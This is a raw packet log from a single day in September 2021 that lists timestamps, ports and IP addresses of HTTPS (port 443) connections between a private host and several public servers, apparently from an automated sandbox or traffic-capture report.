Sep 28, 2021 09:54:16.641969919 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.642278910 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.642800093 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.642813921 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.664129019 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.664153099 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.794733047 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.794846058 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.795021057 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.797517061 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.797547102 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.989310026 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.989358902 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.989573002 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.990885973 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.990905046 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.035156965 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.035444021 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.036058903 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.036072969 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.058547974 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.058573961 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.322763920 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.322900057 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.322943926 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.323071957 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.323899984 CEST	50005	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:17.323931932 CEST	443	50005	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:17.861691952 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.862189054 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.862346888 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.868253946 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.868295908 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.868345976 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.869966030 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.882028103 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.882107019 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.885123968 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.893982887 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.894018888 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.955208063 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.957768917 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.962600946 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.962630987 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:17.977152109 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:17.977202892 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:18.869565964 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.869611025 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.869719028 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.870718002 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.870737076 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.920495033 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.921235085 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.921262980 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.921281099 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.925271988 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.925312996 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.961900949 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.961971045 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.962003946 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.962018013 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.962043047 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.962055922 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:18.962122917 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.962126970 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.963608027 CEST	50011	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:18.963628054 CEST	443	50011	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.092897892 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.092932940 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.093095064 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.093431950 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.093446016 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.139228106 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.139858007 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.140741110 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.140754938 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.143035889 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.143055916 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178560972 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178612947 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178642035 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.178669930 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178698063 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.178745985 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.178755045 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178766966 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.178855896 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.179128885 CEST	50013	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:19.179147005 CEST	443	50013	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:19.797259092 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.797311068 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:19.797569036 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.797840118 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.797852039 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:19.883805990 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:19.884368896 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.884387016 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.884396076 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:19.889347076 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:19.889367104 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:20.071454048 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:20.071576118 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:20.071594000 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:20.071602106 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:20.071773052 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:20.072578907 CEST	50015	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:20.072606087 CEST	443	50015	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:20.186530113 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.186568975 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.186878920 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.187093019 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.187109947 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.229921103 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.230834961 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.231055021 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.231061935 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.233247042 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.233253956 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.271352053 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.271408081 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.271471024 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.272039890 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.272049904 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.273235083 CEST	50016	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.273260117 CEST	443	50016	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.464865923 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.464952946 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.466705084 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.468300104 CEST	50007	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.468329906 CEST	443	50007	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.508347034 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.508393049 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.508606911 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.509746075 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.509767056 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.559146881 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.559545040 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.562149048 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.562166929 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.634547949 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.634567976 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.654212952 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.654289007 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.654367924 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.655034065 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.700414896 CEST	50017	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.700448036 CEST	443	50017	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.811382055 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.811424971 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.812997103 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.824942112 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.824980974 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.824990034 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.825001001 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.825110912 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.826523066 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.826546907 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.871515989 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.875514984 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.876864910 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.876874924 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.891230106 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.893201113 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.894169092 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.894187927 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.919244051 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.919275999 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.932405949 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.932431936 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.932441950 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:20.932446003 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:20.938864946 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.938936949 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.939018965 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:20.939062119 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.939390898 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.939469099 CEST	50021	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:20.939487934 CEST	443	50021	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:21.547794104 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.547877073 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.548038006 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.549077034 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.549138069 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.635061979 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.635159969 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.636444092 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.636466980 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.665895939 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.665923119 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.819881916 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.820030928 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.820065975 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.820069075 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:21.820270061 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.820977926 CEST	50023	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:21.821006060 CEST	443	50023	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:22.407001019 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.407040119 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.407335997 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.407993078 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.408019066 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.454130888 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.454267025 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.455674887 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.455694914 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.457281113 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.457299948 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.871391058 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.871500015 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.871644020 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.873001099 CEST	50025	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.873032093 CEST	443	50025	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.981647015 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.981698036 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:22.981869936 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.982240915 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:22.982263088 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.026878119 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.027801991 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.029202938 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.029226065 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.102184057 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.102210999 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.231522083 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.231630087 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.231841087 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.231853008 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.232444048 CEST	50027	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:23.232464075 CEST	443	50027	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:23.440264940 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.440324068 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.440685987 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.441226959 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.441279888 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.528422117 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.530065060 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.530088902 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.530101061 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.679517984 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.679573059 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.690267086 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:23.690341949 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:23.690491915 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:23.690512896 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:23.690601110 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:23.690623045 CEST	443	50020	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:23.690634012 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:23.690767050 CEST	50020	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:23.833600998 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.833753109 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.833878994 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.833966970 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.833978891 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.833996058 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:23.834127903 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.834136009 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.835421085 CEST	50028	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:23.835441113 CEST	443	50028	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:24.069747925 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.069787979 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.071630001 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.073060036 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.073101044 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.074130058 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.074145079 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.074177027 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.074975014 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.075000048 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.118352890 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.118870974 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.119762897 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.119780064 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.132544994 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.132570982 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.136281013 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.136743069 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.139146090 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.139158010 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.158308983 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.158365965 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.158418894 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.158703089 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.158714056 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.159991026 CEST	50030	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:24.160016060 CEST	443	50030	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:24.187495947 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.187509060 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.187520981 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:24.187525988 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:24.330395937 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.330451965 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.332685947 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.335855961 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.335895061 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.380723000 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.380954027 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.382206917 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.382229090 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.427938938 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.427962065 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.550919056 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.551027060 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:24.551054955 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.551095009 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.551933050 CEST	50031	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:24.551963091 CEST	443	50031	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.092003107 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.092041969 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.092142105 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.092866898 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.092880011 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.140841961 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.141014099 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.141781092 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.141794920 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.149195910 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.149215937 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.292450905 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.292522907 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.292538881 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.292567968 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.292594910 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.292613983 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.293647051 CEST	50033	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.293670893 CEST	443	50033	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.436721087 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.436758041 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.437267065 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.438481092 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.438494921 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.482544899 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.482692957 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.488889933 CEST	50034	443	192.168.2.3	162.219.225.118
